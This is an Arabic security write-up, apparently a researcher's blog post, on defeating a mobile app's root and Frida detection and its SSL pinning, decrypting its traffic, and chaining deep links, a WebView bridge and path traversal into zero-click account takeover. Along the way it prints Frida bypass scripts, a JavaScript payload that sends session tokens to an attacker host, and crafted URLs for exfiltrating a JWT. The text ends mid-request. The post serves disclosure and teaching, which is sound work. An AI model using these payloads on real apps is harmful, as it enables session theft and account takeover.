Hi,👋 we have updated the app and fixed multiple bugs. We are lacking funds, request to free user not to use Adblock. Ads are non intrusive. 😊

@Omarzzu: كيف قدرت اخترق تطبيق جوال +35 ...

@Omarzzu
9 views May 10, 2026
Advertisement

كيف قدرت اخترق تطبيق جوال +35 مليون مستخدم من خلال رسالة وحدة؟

Media image

مساكم الله بالخير جميعا

اليوم بتكلم عن احد تطبيقات الجوال وسلسلة ثغرات قدرت استغلهم مع بعض لتحقيق اثر عالي وقدرة على اختراق اكثر من 35 مليون حساب والأخطر بدون اي تفاعل من المستخدم

خلال المقالة بتطرق لعدة اشياء بداية من تخطي حماية الابلكيشن على مستوى الـ App Protection ومن ثم الثغرات على مستوى الـ Network

اذا تبغى تسكب شرح تخطي الحماية وتدخل بالثغرات بشكل مباشر يمديك تبدا من قسم Deep Link Execution

فنسمي بالله ونبدا



فالبداية خل نعرف كيف بنية الابلكيشن كان عبارة عن

split APK architecture

```java
base.apk ← core application
split_component_lingdong.apk ← stupid crypto stuff
split_config.arm64_v8a.apk ← native libraries
split_resource.apk ← resources

```

‏الجزء اللي كان يهمني أكثر هنا هو
الـ ‏Native Libraries‏

لأن التطبيق كان يستخدم عدة طبقات حماية مثل
SSL Pinning & Root Detection


#2 تخطي حماية التطبيق (SSL Pinning & Root detection)

‏بعد مافهمنا بنية التطبيق الحين جاء وقته نبدا بالفحص التطبيق بال runtime

كان فيه (ssl pinning & root detection)

وبطبيعة الحال قبل لاتدخل بقروشة ال‏ static anlyisys

جربت حلول بسيطة مثل Java based hoking scripts
و Shamiko and lsposed stuff

وشيء متوقع انه ولا وحدة منهم ضبطت
والواضح انه protection stack was custom engineered


بعد محاولات مع الحلول الاعتيادية والي ولا وحدة منهم ضبطت وهنا كان لازم نتدخل

‏بديت بتحليل الابلكيشن ولقيت احد
ال native library

باسم "libintegrity(dot)so"

‏والواضح ان ال Detection stack كان من خلاله وفعلا بعد تحليل
ال libintegrity native library

اتضح لي انه تمر على أربع مراحل وكلها تكون بال Run time
وعشان تكون الصورة واضحة خل نقسمة الى اربع مراحل, وكانت المراحل بالطريقة هذي

```
Phase 1 Static Environment Scan  (Java thread)      → Trust level: JVM
Phase 2 Native Runtime Scan      (native thread)    → Trust level: kernel
Phase 3  Anti-Instrumentation     (watchdog thread)  → Trust level: kernel + self
Phase 4 Hardware Binding Attestation (API call)     → Trust level: server + TEE

```


‏نبدا بالحماية الأولى وكانت عبارة
عن Static Environment Scan والي كانت بسيطة

```
Filesystem:    /su  /system/xbin/su  /sbin/su  /system/app/SuperSU.apk
Packages:      com.topjohnwu.magisk  eu.chainfire.supersu
Build props:   ro.build.tags=test-keys  ro.debuggable=1  ro.secure=0
Mount table:   /proc/mounts → rw entries on /system or /vendor

```

‏‏ومثل مانلاحظ ال detection هنا جدا تافهة بسبب انه static checks

وهذي امره بسيط ممكن نقدر نتخطاه بأكثر من طريقة
لكن Shamiko via Zygisk لحاله تهندلنا اياه

صحيح ان المرحلة الاولى بسيطة لكن تخطيه لحالة غير كافي بسبب انه لأن المرحلة الثانية تشتغل على native thread مستقل بيستخدم direct syscalls للكيرنل مباشرة

يعني حتى لو Shamiko مشت كل الـ Java layer والـ libc
المرحلة الثانية ما تمر من الـ libc ابد مثل ماراح نعرف الحين


#2 تخطي المرحلة الثانية

‏‏‏المرحلة الثانية كانت مختلفة نوعا ما لانه تشتغل من native thread بنفس ال libintegrity

‏عكس المرحلة الاولى الي كانت تشتغل على standard Java APIs
بالتالي libc Hooks USELESS here

‏‏لا هنا كل تشيك يكون على direct syscall وعشان يكون كلامي اوضح لازم تعرف شلون تشتغل الـ Frida hooks

‏‏مثلا اذا سويت hook
على openat() بال libc

فأنت تعترض الـ المكتبة اللي تجلس بين التطبيق والكيرنل (C library)
‏‏‏بمعنى العملية تكون بالطريقة هذي app → libc → kernel

‏يعني المرحلة الثانية كانت تسكب
‏من ال middleman (libc)

‏وتطلب من الكيرنل مباشرة بدون ما تمر من libc
‏يعني لو تسوي hook بال libc لين بكرا ماراح تستفيد


# استعمال Anti-Frida Architecture


‏‏ممكن البعض يعرف إنه فيه تشيك بعض الأحيان
على /proc/self/maps
‏وكيف تنقفط Frida proccess منه

‏‏المرحلة الثانية فيها نفس ال check ولكن فيه check ثاني مختلف تماما

‏الابلكيشن يشيك
على /proc/self/task/*/comm
وتشيك على اسم كل thread

‏‏و Firda دائما عنده اسماء ثابته بال proccess مثل

```
gum-js-loop    ← Frida Gum engine
pool-frida     ← Frida thread pool
```

‏وكذلك تشيك على كل الـ file descriptors
في /proc/self/fd/ عن وتبحث Frida Unix socket

```x86asm
; libintegrity.so openat() without libc

mov  x8, #56    ; AKA SYS_openat
svc  #0         ; AKA go straight to the k4rnel  libc never called here
```

‏‏طيب عمر لاهنت وش فكرة ال Frida Unix Socket؟

‏بكل اختصار اذا شغلت Frida على جهاز اكيد انه يحتاج Frida server
والـ agent اللي ‏تحقن فية التطبيق عشان يتكلمون مع بعض

‏هذا التواصل يصير بشيء اسمه Unix domain socket
والي هي قناة اتصال داخل ‏الجهاز

‏وهذا الـ socket له مسار في الـ filesystem
في /proc/self/fd/ كـ file descriptor

‏ولو نقرأ الـ symlink بتلاقي شيء
مثل socket:[frida:agent-xyz]

‏او مسار يحتوي كلمة frida أو linjector

‏والتطبيق ماقصر يشيك كل الـ FDs
ويقرأ كل symlink ولو شاف اسم Frida يفقع


## التخطي؟

‏طيب ما فية libc function نزين عليه hook و الحل ؟هو نسوي hook على ال instruction level

طيب الحين وصلنا لنقطة مهمة

المرحلة الثانية زي ما شفنا ما تعتمد على ال libc ابدا
كل شيء يتم عن طريق direct syscalls مباشرة للكيرنل

‏app → kernel

‏ومعناته؟ ان ما فيه middleman نقدر نصيده
فبالتالي أي hook على libc يعتبر useless هنا

طيب السؤال الطبيعي هنا
لو ما نقدر نصيده من ال libc وين نصيدة؟

نقدر نمسكه على نفس المستوى اللي يشتغل فيه والي هو على مستوى instruction نفسه


طيب ليش Interceptor ماينفع هنا؟

اول شيء خلنا نفهم أول كيف Frida بالعادة تسوي hook
اذا استخدمت Interceptor.attach()

فريدا ببساطة تكتب instructor jump لل ال Function المستهدفة
وهذا الشيء يسمى "trampoline hook"

فاللي يصير فعليا

- فريدا تكتب ال jump في بداية ال Function
- والتنفيذ يطمر للكود المحدد
- بعدين يرجع يكمل التنفيذ الطبيعي

لكن المشكلة هنا؟

ان ال bytes بالميموري تغيرت
ولأنه يتم مقارنة byte-for-byte بالميموري
معناتهModified bytes = diff = kill على طول بيفقع الابلكيشن

والشيء هذا تحديدا هو اللي المرحلة الثالثة مصممة تقفطة


‏WELL Phase 3? Self Integrity Check

المرحلة الثالثة عبارة عن watchdog thread

وظيفته بسيطة لكن قروشة

يقرأ مكتبة libintegrity.so من ال disk

يقرأ نفس المكتبة من الmemory

يقارنهم byte by byte

لو فيه اختلاف؟
Modified bytes → diff → kill وبيفقع الابلكيشن


وبما أن Interceptor يغير أول بايتات بال Function
فالتشييك هذا راح ينصاد على طول

يعني لو مشيت مع الطريقة التقليدية
راح تنقفط على طوول بال Phase 3

طيب طولته وش الحل عمر؟ ‏


الحل كان انه نستعمل Stalk4r

بدل ما نعدل الكود نفسه
الفكرة كانت انه مانبي ما نلمس الكود نهائيا

وهنا جاء دور Frida Stalker

الـ Stalker يشتغل بطريقة مختلفة تماماً عن ال Interceptor

بدل ما يعدل الكود الأصلي يتتبع ال thread وقت التنفيذ

يعني كل code block قبل ما يشتغل بيمر JIT يعيد تجميعه


‏واللي يصير فعليا

- البرنامج يحاول يشغل block من الكود
- ثم عاد Stalker يعترضه
- بعدين يعيد تجميعه في نسخة جديدة
-ومن النسخة الجديدة الي نبغاه هي اللي يتم تنفيذه

و النقطة المهمة هنا ؟

الكود الأصلي داخل .text ما يتغير ولا byte واحد

‏والنتيجة؟

اذا مرت ال Phase 3 وتسوي تشييك

النسخة اللي على ال disk و النسخة الي على ال memory بتلاقيهم متطابقين 100%

وبكذا عاد نقدر نقول

‏Phase 2 bypassed
‏Phase 3 passed clean (;


‏و check بسيط كان موجود كان يشيك على network probe بمعنى دايم frida تتشغل على 127.0.0.1:27042 بورت 27042

‏بعض التطبيقات ببساطة يحاولون يشبكون على هذا البورت

‏ولو شبك معناته غالبا فيه Frida وبيقولك حرك

والمكتبة كانت تسوي التشيك باستخدام syscalls بدون libc

‏والفكرة كانت كذا

‏Creating s0cket

وتحاول عاد تشبك على بورت 27042

```
int fd = syscall(SYS_socket, AF_INET, SOCK_STREAM, 0);

#AKA Direct SYS_connect call

int result = syscall(SYS_connect, fd, &addr_27042, sizeof(addr));
if (result == 0) trigger_termination();  // port is open = Frida == GOODBYE DEAR FRIEND 
```

‏تخطي ال check

‏الحل هنا كان أبسط بكثير من التشيك الأول

غيرت Frida server بالكامل

الي سويته

‏غير اسم السيرفر إلى sp4iclfrda وشغلته على بورت مختلف مثل 17392

وبكذا التطبيق اذا بيحاول يشبك على بورت

‏127.0.0.1:27042

‏بيرجع الخطأ الطبيعي ECONNREFUSED == No frida running

‏وبكذا تخطينا اغلب ال root detection ولكن باقي مرحلة اخير
وعباره عن Custom Hardware Binding Attestation ولكن هذي موضوعة طويل نوعا ما وممكن تكون بمقالة منفصلة اذا حبيتم

‏ وبكذا نقدر نقول قفلنا على اول عائق لكن مانتهينا


‏ طبقة SSL Pinning Java OkHttp (EASY)‏

‏بعد ما خلصنا من قروشة الـ root detection، جاء الدور على SSL pinning.

‏كالعادة أول شيء شيكت على الـ Java layer
ولأن أغلب تطبيقات الأندرويد تسوي الـ TLS validation من خلال OkHttp و TrustManager

‏والمتوقع، المسار في النهاية يمر من خلال

‏TrustManagerImpl.checkTrustedRecursive()

‏وبالتالي الحل التقليدي دائما يشتغل مباشرة

```java
Java.use("com.android.org.conscrypt.TrustManagerImpl")
    .checkTrustedRecursive.implementation = function() {
        return Java.use("java.util.ArrayList").$new();
    };
```

‏والفكرة هنا بسيطة نرجع قائمة ال certificates فاضية ونخلي التحقق يعتبر ناجح

‏وبكذا technically نكون عطلنا التحقق من الشهادة بالكامل على مستوى Java

لكن الغريب؟ الترافيك ما وده يجي


‏مازال الاتصال يرفض والتطبيق يتصرف كأن الـ pinning مازال موجود

وهذا كان أول مؤشر واضح أن فيه طبقة ثانية للـ TLS verification خارج الـ Java stack


وفعلا...

‏# طبقة SSL Pinning الثانية BoringSSL داخل ال Native Library

‏بعد ما تعمقت أكثر بالـ native libraries لاحظت شيء مثير للاهتمام
التطبيق ما يعتمد على TLS الخاص بالنظام

‏بدالة كان فيه نسخة كاملة من BoringSSL مدمجة داخل libnetwork(dot)so

يعني الاتصال بدال ما يمر من Android TLS stack
يمر من custom BoringSSL build

‏ومن اسمه Boring SSL

وهذا السبب اللي خلى كل الطرق المعتادة ماتضبط
لكن الشيء اللي خلاها قروشة فعلا كان ثلاث نقاط


Property 1 Symbol Stripping

‏‏أول شيء لاحظته أن المكتبة شبه مقطوعة exports only 11 symbols

‏لو سويت

```
‏Module.findExportByName("libnetwork.so", "SSL_CTX_set_verify")

```

‏بيرجع null

لأن المكتبة ما تصدر إلا 11 symbol فقط

لكن الوظائف الداخلية مثل

‏SSL_CTX_set_verify
‏SSL_CTX_new

‏مازالت موجودة داخل الباينري فقط بدون أسماء والي يعني لازم نوصل لها بالـ pattern matching

‏Property 2 ARM64 PAC (Pointer Authentication)

‏الشيء الثاني اللي رفع الصعوبة شوي هو أن الجهاز كان ARM64 + ARMv8.3-A PAC

‏ببساطة كل function pointer داخل struct
مثل SSL_CTX يكون موقع cryptographically


‏يعني لو حاولت تغير pointer كذا callback = NULL
راح يصقعك ب PAC authentication failure

‏وبالتالي SIGSEGV التطبيق بيفقع دايركت

فالحل التقليدي اللي هو overwrite callback pointer
ما يشتغل على أجهزة ال PAC

‏Property 3 Delete .comment section

‏بالعادة إذا تبغى تعرف نسخة BoringSSL تقدر تسوي

‏readelf -p .comment


‏لكن في هذا الـ build كانوا شايلين .comment كله فما فيه version string
يعني ما نقدر نعرف نسخة BoringSSL بسهولة

‏تحديد نسخة BoringSSL بطريقة مختلفة

طيب عشان أعرف النسخة سويت مقارنة byte-pattern مع builds معروفة من BoringSSL

فيه routine مميزة داخل HKDF implementation

أخذت 32 بايت منها وقارنتها مع corpus محلي

```
‏target_bytes = extract_bytes(lib, offset=0x4A2C0, length=32)

‏for version, known_bytes in boringssl_corpus.items():
    if known_bytes == target_bytes:
        print(f"Matched: BoringSSL {version}")

```

والنتيجة ؟

‏Matched: BoringSSL 2023-07-12

‏وبكذا صار عندي نفس الـ source version
وقدرت أرجع للـ struct layout الصحيح

‏تحديد SSL_CTX_set_verify داخل الباينري؟

‏بما أن symbols مب عندنا الطريقة كانت pattern matching

‏الـ prologue الخاص بالفنكشن معروف بال build هذا

‏FF4303D1F44F01A9FD7B02A9FD830091

‏بعد البحث داخل libnetwork(dot)so

‏Found at offset: 0x91F40

‏وبالتالي الحين صار عندنا pointer

```
var libBase = Module.findBaseAddress("libnetwork.so");
‏var setVerify = libBase.add(0x91F40);
```

‏طيب وتخطي ال PAC ؟

‏بدل ما نغير الـ pointer داخل struct مباشرة (وهذا بيسبب crash ويفقع الابلكيشن بسبب ال PAC) بس الفكرة كانت أبسط

‏نسوي hook على SSL_CTX_set_verify قبل ما يسجل callback
ونبدل الـ arguments

```
Interceptor.attach(setVerify, {
    onEnter: function(args) {
        args[1] = ptr(0);         
        args[2] = noopCallback;   
    }
});
```

‏والـ callback نفسه مجرد stub

```
var noopCallback = new NativeCallback(function() {
    return 1; 
}, "int", ["pointer", "int"]);
```

‏فالفكرة هنا ذكية شوي لأن التوقيع باستخدام ال PAC يتم داخل BoringSSL نفسه وقت التخزين

فبما أننا غيرنا الـ pointer قبل التخزين المكتبة نفسها وقعت العنوان الجديد
والي يعني valid PAC pointer وبالتالي ماراح يفقع الابلكيشن


النتيجة؟

‏بعد العدييييد المحاولات

‏تم تخطي كل طبقات الحماية الموجودة

‏Phase 1 Static
‏Phase 2 Native Syscall Detection
Phase 3 Self Integrity Watchdog
Phase 4 Hardware Binding
SSL Layer 1 (Java TrustManager)
SSL Layer 2 (Native BoringSSL + PAC)

‏واخيرا صار يمدي نكبشر ال traffic

‏لكن المفاجأة؟

Media image

‏الترافيك ما كان شيء ينقري كان عبارة عن binary blob


‏ طبقة ال traffic المشفرة

‏بعد ما خلصنا من قروشة الـ SSL pinning أخيراً صار عندنا القدرة نلقط الترافيك بين التطبيق والسيرفر

‏طبعاً كنت متوقع أول ما أشوف ال traffic أشياء طبيعية مثل

‏JSON
protobuf
form-data

لكن اللي طلع قدامي كان شيء مختلف تماما وهنا ختمو القروشة

‏الـ request والـ response bodies كلها كانت عبارة عن binary blobs
بايتات عشوائية ما تعطيك أي معنى

‏8F 12 A9 00 3C 71 D1 6A ...

‏بمعنى آخر حتى لو قدرت تكبشر الترافيك بتقول مابغى اشوفة

‏لكن بعد التدقيق في الـ headers لقيت شيء كان مفتاح الموضوع كله

‏التطبيق يستخدم Content-Type values غريبة مثل

‏ht/encbin
‏bin/cc2018
bin/cc2019
ht/binary
ht/ccbin

‏وهذي مو MIME types معروفة

‏معناه؟ وهذي مو مجرد أسماء
‏هذي تعتبر identifiers لأنظمة تشفير مختلفة داخل التطبيق.

‏بمعنى أن السيرفر أول ما يشوف Content-Type
يقرر أي crypto handler يستخدم

‏قفطة أنظمة التشفير داخل التطبيق

‏بعد تتبع المسارات داخل ال decompiled source اتضح لي ان التطبيق يشغل عدة أنظمة تشفير

والمفاجأة؟

‏ما كانت scheme وحدة…

‏كان فيه خمسة أنظمة تشفير مختلفة شغالة بنفس الوقت

‏side note:
- يعني يدرون انه اي شيء بال client-side بينطرح لكن اتوقع يحبون القروشة

‏والصورة توضح انواع التشفير المستعملة

Media image

‏القروشة هنا مو التشفير نفسه بس كانت بطريقة تطبيقه

‏ثلاثة أنظمة مكسورة من التصميم نفسه

‏بعد ما تتبعت طرق التشفير داخل التطبيق اتضح أن الموضوع مو مجرد scheme وحدة
التطبيق فعليا قاعد يستعمل خمس طرق تشفير حسب قيمة الـ Content-Type

‏لكن يوم بديت اشيك على الابلكيشن اكتشفت أن ثلاثة طرحتهم سهله

النظام الأول ht/binary و ht/ccbin
هذي endpoints تستخدم AES-128-ECB
واستخدام ECB اختيار سيء بالأساس

‏لكن المشكلة كانت انه المفتاح ثابت داخل التطبيق

‏بعد تتبع مسار التشفير اتضح أن الـ key يتم تمريره مباشرة إلى الـ cipher initializer من داخل التطبيق نفسه

‏بمعنى أن العملية فعلياً تكون كذا

‏cipher = AES(static_key, ECB)
ciphertext = cipher.encrypt(payload)

ما فيه اي key exchange او session key

‏وهذا يعني اطرف breakpoint بنقدر نصيده فيه

بمجرد استخراج المفتاح العملية بتكون

‏plaintext = AES_decrypt(ciphertext, key)

‏وهذا كل شيء بالنسبة لنوعين التشفير هذي
ولكن النظام الثاني bin/cc2018 و bin/cc2019


‏هنا التصميم كان أغرب شوي

‏يستخدمون تشفير XXTEA والـ algorithm نفسه مب المشكلة المشكلة كانت كيف يستخدمونه

وبعد تتبع طريقة بناء الـ request body اتضح أن الرسالة تكون بالشكل التالي

‏[key][ciphertext]

يعني التطبيق يرسل

‏المفتاح و البيانات المشفرة بنفس المفتاح في نفس الرسالة
ولو فكرت فيها شوي

‏هذا يلغي فكرة التشفير بالكامل

‏أي شخص يقرأ الترافيك يقدر ببساطة
يقرأ المفتاح من بداية الرسالة ويستخدمه لفك بقية البيانات


بمعنى أن عملية فك الرسالة

‏extract key
‏decrypt payload

‏بدون أي مجهود

‏التشفير هنا فعلياً تحول إلى طبقة obfuscation خفيفة أكثر من كونه حماية وبالاصح (وسيلة قروشة)

‏بعده ادركت ان ال devopler كان يبغى يقروش اي شخص بيفحص الابلكيشن



‏## طريقة التشفير الاخيرة ht/encbin

‏الـ scheme الوحيد اللي كانو شادين حيلهم شوي هي ht/encbin
ولان كانت اغلب العمليات الحساسة تستعمل ht/encbin المنطقي طبيعي بيشدون حيلهم شوي

وهنا التطبيق يستخدم AES-256 لكن الفرق المهم أن المفتاح ما يكون ثابت


‏والي يصير يتم انشائة لكل جلسة باستخدام X25519 ECDH
‏بمعنى أن العميل والسيرفر يسوون Elliptic Curve Diffie-Hellman exchange لإنتاج shared secret

‏ومن هذا الـ secret بيجيب منه AES

‏العملية كانت تقريباً كذا العميل بينشئ public key مؤقت

‏وبيرسله داخل الهيدر X-Target-Pub و السيرفر يستخدم public key الخاص فيه

‏ثم الطرفين بيحسبون ECDH(shared_secret)
ومن ثم عاد ويتم اخذ مفتاح AES للمستخدم

من ناحية التصميم، هذا أفضل وكان اصعب بكثير من الطرق السابقة

‏بالنسبة لطريقة استخراج ال key بال runtime

‏بعد ما تتبعت مسار التشفير داخل التطبيق وصلت إلى كلاس اسمه SecretDataModel

‏وتحديدا الميثود readSharedSecret()
الميثود هذي ترجع لنا الـ shared secret الناتج من عملية الـ ECDH الي عرفناه تو

فبدال ماحاول اكسر التشفير ونتقروش x20

‏سويت hook على نفس الميثود وصدت القيمة حقته وقت التنفيذ

```
var SECRET_CLASS =
"com.target.app.feature.common.shared.configure.entity.SecretDataModel";

Java.enumerateClassLoaders({

    onMatch: function(loader) {

        try {

            loader.loadClass(SECRET_CLASS);

            var saved = Java.classFactory.loader;
            Java.classFactory.loader = loader;

            var SDM = Java.use(SECRET_CLASS);

            SDM.readSharedSecret.implementation = function() {

                var secret = this.readSharedSecret();

                console.log("[SESSION SECRET] " + secret);

                return secret;
            };

            Java.classFactory.loader = saved;

        } catch(_) {}

    },

    onComplete: function() {}

});

```


ولازم اذكر نقطة مهمة تقروشت فيها
الكلاس هذا ما كان موجود داخل base.apk

‏كان داخل feature split

‏split_component_lingdong.apk

‏وهذا يتم تحميله باستخدام PathClassLoader مختلف
‏وعشان كذا السبب احتجت استخدم Java.enumerateClassLoaders()

‏عشان ألقى الـ loader الصحيح

‏والنتيجة؟

‏صار ممكن فك كل الترافيك بين التطبيق والسيرفر

‏كل request.
كل response.

‏بس باقي خطوة بسيطة ولانه كان عبارة عن binary blob احتجت احولة ال hex value

Media image

‏وبكذا صار يمدي افك تشفير اي traffic إلى plaintext وهالحين نقدر ندخل بالثغرات (;



‏Finding Remote Deep Link Execution (Gadget)

‏بعد ما انتهينا من قروشة الـ SSL pinning، وفكينا طبقة التشفير بالكامل
أخيراً صار الترافيك واضح كل request وresponse صار readable

‏وهنا عاد بدا الشغل ونشوف اذا فيه exploitation تستاهل القروشة الي اخذناه؟


Time to Attack surface mapping?

‏ومن هنا تبدأ الأشياء الممتعة (;

‏Discovery A Field That Does Not Belong?

‏وأنا أراجع الـ API endpoints لاحظت endpoint
يستخدم لإرسال interactive cards داخل المحادثات

‏الفكرة بسيطة

‏مستخدم يرسل card
والطرف الثاني يشوفها داخل الشات

‏الـ request كان طبيعي

```
POST /v1/send HTTP/2
Host: api.target.com
Authorization: Bearer 
Content-Type: application/json
{
  "userid": "USERID",
  "card": {
    "goto_url": "app://shareCard/chat",
    "othervalues"
  }
}
```

‏لو نشوف الـ card object , فيه قمية وحدة شدة انتباهي

‏و القيمة كانت

```
app://shareCard/chat

```

وهذي عبارة عن custom URI scheme
‏ومن هنا بدأت القصة

‏Why This Field Is Interesting ?

‏دام القيمة app:// هذا غالباً يدل على شيء واحد Deep link router يتم استعمالة داخل التطبيق.

‏وعشان تكون الصورة واضحة يعني الرابط هذا ما يفتح browser
‏بس ينفذ native logic داخل التطبيق نفسه

‏وهذا فرق كبير

‏The Client-Side Execution Path

‏بعد static analysis للـ message handler الصورة وضحت بسرعة

‏أول ما يوصل الكرت لجهاز الضحية يصير التالي

```java
CardPayload card = gson.fromJson(rawPayload, CardPayload.class);

if (card.getGotoUrl() != null && !card.getGotoUrl().isEmpty()) {

    Uri deepLink = Uri.parse(card.getGotoUrl());

    DeepLinkRouter.dispatch(context, deepLink);
}

renderCard(card);

```

‏ثم يقرأ قيمة goto_gurl الخطوات لانه مهمه

‏التطبيق يستلم الكرت من السيرفر
ثم يقرأ قيمة goto_url
بعدين يحوله إلى URI
بعده يرسله مباشرة إلى DeepLinkRouter.dispatch()
بعدها يتم رسم الـ UI

لاحظت النقطة المهمة هنا؟

‏الـ deep link يتنفذ قبل ما يظهر الكرت وبالاصح قبل أي user interaction
وببساطة بيوصلة الكرت ويتنفذ الكود, قوية هالعيدية

‏DeepLinkRouter Is Not a Browser

‏نقطه مهمه ال DeepLinkRouter مو مجرد launcher يفتح صفحة
هو navigation engine داخل التطبيق

نفس المكون اللي يستخدمه التطبيق لما المستخدم يضغط أي link داخلي

‏مثلا

```
‏app://profile/view?id=1

```

‏بيفتح صفحة البروفايل‏

```
‏app://settings/security

```

‏يفتح الاعدادات

‏يعني الـ router يربط URI routes مع native application features

‏Quick Test

‏أول شيء سويته كان بسيط

‏غيرت قيمة goto_url

بدل

```
‏app://shareCard/chat

```

غيرته الى

```
‏app://profile/view?id=1

```

(تذكر هذي زين)

وأرسلت الكرت

‏النتيجة؟
أول ما وصل الكرت, التطبيق فتح profile page مباشرة
وبدون اي interaction

وهنا بدأت الصورة تتضح (;

‏Enumerating Deep Link Handlers

‏بعد ما تأكدت من طبيعة الفنكنش بديت اسوي enumeration للـ deep links داخل التطبيق

و النتيجة كانت +50 deep link routes عندنا

واحد الأمثلة‏

```
‏app://browser?url=

```

يفتح WebView داخل التطبيق

‏بعضهم كان لهم اثر مباشر مثل اني قادر احذف حساب اي شخص لكن كيف ممكن نوصلها لاعلى خطورة؟

‏The Gadget

‏الهجوم الحين صار واضح شوي

‏المهاجم بيرسل request

```http
POST /v1/send
{
  "userid": ,
  "card": {
    "goto_url": ""
  }
}
```

‏والمستخدم؟

‏كل اللي بيشوفه

a card notification.

‏Why This Gadget Matters‏

بدون هذا الـ gadget

‏أي vulnerability داخل التطبيق بنطاق ال deeplink تحتاج user interaction

‏و‏‏الي هو بيزيد ال attack complexity وبيقلل من خطورة الثغرة لكن مع ذي الـ gadget
المهاجم يقدر يشغل أي deep link داخل التطبيق بـ single API request فقط

‏The Interesting Part

‏واحد من الـ deep links كان

```
‏app://browser?url=...

```

‏وهذا يفتح WebView داخل التطبيق.

‏ولو قدرت تتحكم في الصفحة اللي تنفتح داخل الـ WebView
فأنت غالبا بتتحكم في JavaScript execution داخل التطبيق نفسه

‏وهنا بدأت قصة ال Finding 2 وندخل بالثقيل

‏‏Finding 2 WebView JS Bridge Takeover‏

‏أحد الـ deep link handlers كانت

```
‏app://browser?url=

```

‏الـ implementation كان بسيط

```java
webView.addJavascriptInterface(new AppBridge(context), "AppBridge");
webView.loadUrl(targetUrl);
```

‏أي صفحة تنفتح داخل WebView تحصل على object اسمه
AppBridge داخل ال JavaScript

‏What AppBridge Exposes?

‏بعد تحليل الكلاس لقيت ثلاث functions exposed للـ JavaScript

```java
getSessionToken()
@JavascriptInterface
public String getSessionToken() {
    return SessionManager.getActiveToken();
}

```

‏ترجع Bearer JWT اللي يسوي authenticate على كل API reques.

```java
getUserData()
@JavascriptInterface
public String getUserData() {
    return gson.toJson(UserRepository.getCurrentUser());
}
```


‏تشغل أي Activity داخل التطبيق باستخدام reflection

‏يعني عمليا عندنا Intent injection primitive كامل

‏The Security Check

‏لكن الـ developer ماقصر حاول يضيف validation

```java
if (url == null || !url.startsWith("https://target.com")) {
    finish();
    return;
}
```

‏والفكرة منة فقط يعرض الصفحات من ال نفس ال origin
‏لكن نشكر RFC 3986

‏RFC 3986 Authority Confusion

‏الـ validation يعتمد على string prefix comparison
لكن WebView يعتمد على URI parsing وهنا في فرق

مثال

```
‏https://targetcom@attackercom/PoC.html

```

الـ validation handler بيشوف

```
‏startsWith("https://targetcom") which is == TRUE

```

لكن الـ URI parser بيشوف

‏host = attackercom


‏بالتالي صار عندنا confusion بين الـ URI parser والـ validation handler
وهذا يصير بسبب RFC 3986


BIG Thanks for RFC 3986

‏Exploitation؟

طيب عمر عجل علينا لاهنت وين الاكسبلويت؟

ببساطة المهاجم يستضيف صفحة

‏//attackercom/exploit.html

محتوى الصفحة بيكون بالطريقة هذي

```vbscript-html
var token = AppBridge.getSessionToken();
var user  = AppBridge.getUserData();

fetch("https://attackercom/collect", {
  method:"POST",
  body: JSON.stringify({token:token,user:user})
});
```

بمجرد تحميل الصفحة

بنقدر ننتف ال JWT

‏The Full Chain

الهجوم كله يتم في API request واحد فقط

```http
POST /v1/send
{
  "userid": ,
  "card": {
    "goto_url":
"app://browser?url=https://target.com@attacker.com/exploit.html"
  }
}

```

فال chain كامل بيكون مثل الصورة:

Media image

والمستخدم كل اللي بيشوفه Card notification (;

بس عمر الامباكت هنا بس لل android users؟ بالاكسبلويت هذا صحيح

Media image

‏وليش ماتضبط على ال iOS ؟

على iOS ال addJavascriptInterface مو موجودة أصلا

البديل له باستعمال WKScriptMessageHandler

وهنا عاد الفرق الكبير
هذا عبارة عن fire-and-forget ما يرجع أي قيمة


‏ولمشكلة الأهم؟

‏الموضوع مو بس API مختلف المشكلة بال process isolation

على ال iOS الـ WebView ما يشتغل داخل نفس الـ app
يشتغل على process منفصلة اسمة "WebContent process" وتكون معزولة بـ sandbox

ولكن هل هذا مانع انه ماجيب اكسبلويت ثاني؟ وهنا عاد نوصل لاخر جزئية عندنا وامتع اكسبلويت بالمقالة (;


‏Client-Side Path Traversal via Deep Link Parameter Injection

‏What CSPT Actually Is؟

‏تصير Client‑Side Path Traversal (CSPT) تصير اذا ال user controlled input
مباشرة جوا المسار والي يبنيه الـ client-side ثم يرسله للسيرفر

‏النقطة المهمة هنا انه ال normalization يكون بنفس ال client-side
ونقدر نقول انه kinda of csrf لكن تكون within the same origin

بمعنى انه كل شيء بالكلاينت سايد والي معناته ان بيصير reqeust طبيعي دامه من نفس ال origin وال user session بتكون included

‏The Injection Point؟

الـ profile viewer deep link يبني ال endpoint نفس كذا ‏

```java
void handleProfileView(Uri uri) {
    if (!SessionManager.isAuthenticated()) {
        redirectToLogin();
        return;
    }

    String userId = uri.getQueryParameter("id");

    String endpoint = "/api/v1/profile/" + userId;   
    apiClient.get(endpoint, profileCallback);
}

```

‏القيمة id تدخل مباشرة داخل الـ path والي هي practice عادية
ولو حطيت slash ك url encoded

‏%2F


يمر عبر URL builder مثل ماهو
والسيرفر بعدين بيفكة وبيسوي normalize

بمعنى لو ارسلت deeplink بالصيغة هذي

‏Input

```
‏app://profile/view?id=1234%2F..%2F..%2Ftest

```

الضحية بتنرسل منه

```
‏GET /api/v1/profile/1234/../../test

```

‏والسيرفر بيسوي له normalization وبيصير كالتالي

```
‏GET /api/v1/test

```

‏client-side Path traversal confirmed


‏بيجي واحد مدرعم ويقول عمر وش تبي توصلة؟ وش الفايدة اذا كل شيء قاعد يصير بنفس ال client-side

‏وهذا الي الحين راح نوصلة



Weaponizing using it as gadget for The Target Share / Export Endpoint

‏احد ال functions الموجودة تسوي export لل profile وترسل request الى

```
‏GET /api/v1/share/export?email=recipient@example.com

```

وتكون بالطريقة هذي

‏يتحقق من ال session
بعده يتم انشاء JWT جديد
ويرسل رابط download إلى الإيميل المحدد

الرابط بيكون بالصغية هذي

```
/download/shared?token=
```


‏ومثل مانلاحظ ال url فيه jwt token لل authentication وكان عبارة عن valid jwt لنفس المستخدم معناته لو اخذ ال new generated jwt واستعمله بال API فبيعتبر valid jwt token

‏فيجي السؤال الاخير شلون نبي نجيب ال jwt من خلال استغلالنا لل CSPT ؟

‏CSPT × Normalization Gadget × Export To Zero Click Account Take Over?

‏الحين خل نربط الثلاث primitives مع بعض
- CSPT
- Query Injection
- Export Endpoint

‏وال deep link بنرسلة للضحية كذا

```
‏app://profile/view?id=1%2F..%2F..%2Fshare%2Fexport%3Femail%3Dattacker%40evil(dot)com

```
```http
POST /API/v1//send HTTP/1.1
